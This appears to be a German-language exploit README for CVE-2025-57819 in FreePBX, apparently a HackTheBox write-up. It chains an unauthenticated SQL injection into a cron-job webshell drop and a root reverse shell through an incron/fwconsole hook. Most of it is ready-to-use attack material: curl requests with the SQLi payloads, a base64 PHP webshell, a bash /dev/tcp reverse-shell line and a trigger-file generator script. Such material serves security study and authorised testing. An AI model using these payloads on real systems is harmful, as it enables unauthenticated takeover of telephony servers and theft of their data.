
Unauthenticated SQL Injection to Remote Code Execution in FreePBX — CVE-2025-57819
Schweregrad: Critical
Typ: Nicht authentifizierte SQL Injection → Remote-Codeausführung
Betroffene Software: FreePBX (endpoint-Modul)
Getestet auf: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
In der FreePBX-endpoint-Modul existiert eine nicht authentifizierte SQL-Injection-Schwachstelle über den Parameter brand in /admin/ajax.php. Es sind keine Anmeldeinformationen erforderlich, um diese Schwachstelle auszunutzen.
In Kombination mit dem internen Cron-Job-Mechanismus von FreePBX und dem incron/fwconsole-Hook-System führt dies zu einer vollständigen nicht authentifizierten Root-Shell.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
Beispiel:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
Ausgabe:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
Der Parameter brand im AJAX-Handler des Endpunktmoduls wird ohne Bereinigung direkt in eine SQL-Abfrage übergeben:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Dies gibt den Datenbanknamen in einem XPATH-Fehler zurück – eine klassische fehlerbasierte SQLi-Technik. Gestapelte Abfragen werden ebenfalls unterstützt, sodass INSERT-, UPDATE- und DELETE-Operationen möglich sind.
Mithilfe von gestapelten Abfragen wird ein Cron-Job in FreePBXs cron_jobs-Tabelle eingefügt:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBXs Cron-Ausführer führt dies jede Minute aus und legt eine PHP-Webshell im Web-Root ab.
incrond überwacht /var/spool/asterisk/incron/ (beschreibbar durch den Benutzer asterisk). Wenn dort eine Datei erstellt wird, löst es /usr/bin/sysadmin_manager als root aus.
Das Dateinamenformat api.fwconsole-commands.<payload> verweist auf einen bereits vorhandenen GPG-signierten Hook unter:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
Der Hook dekodiert den Dateinamen als base64(zlib(json([cmd, txn_id])))-Payload und führt Folgendes aus:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
Die Verwendung von help; als Präfix erfüllt fwconsole als gültigen Befehl, und das ; verkettet beliebige Shell-Befehle:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Dies wird als root ausgeführt und gibt eine vollständige Root-Shell.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Zur Vermeidung von Shell-Zitierungsproblemen in Datei speichern
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# Auf dem Ziel (als asterisk über Webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| Datum | Ereignis |
|---|---|
| 2025 | Schwachstelle entdeckt und gemeldet |
| 2025-11-30 | Box auf HackTheBox bereitgestellt |
| 2025 | CVE-2025-57819 zugewiesen |
Dieses Tool dient zu Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Fund | Detail |
|---|
| Datenbank | asterisk (MariaDB 5.5.65) |
| DB-Benutzer | freepbxuser@localhost |
| Web-Benutzer | asterisk (uid=999) |
| Cron-Tabelle | über SQLi beschreibbar |
| Incron-Verzeichnis | /var/spool/asterisk/incron/ (von asterisk beschreibbar) |
| Privilegieneskalation | fwconsole-Hook läuft als root über incrond |
| Root-Methode | Incron-Trigger → signierter fwconsole-Hook → Befehlseinschleusung |